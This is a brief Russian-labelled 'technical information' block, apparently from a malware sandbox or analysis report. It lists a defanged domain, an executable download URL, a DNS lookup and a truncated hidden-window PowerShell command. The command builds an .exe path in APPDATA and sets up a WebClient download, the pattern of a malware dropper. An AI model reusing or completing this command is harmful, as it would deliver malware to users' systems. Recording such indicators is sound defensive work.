Техническая информация
- 'me##or.in':80
- http://me##or.in/sales/Saless.exe
- DNS ASK me##or.in
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -noprofile $e99b59 = $env:APPDATA; $v5972e = $e99b59 + '\\ed371.exe'; If (test-path $v5972e) {Remove-Item $v5972e}; $neb395e = New-Object System.Net.WebClient; $ne...' (со скрытым окном)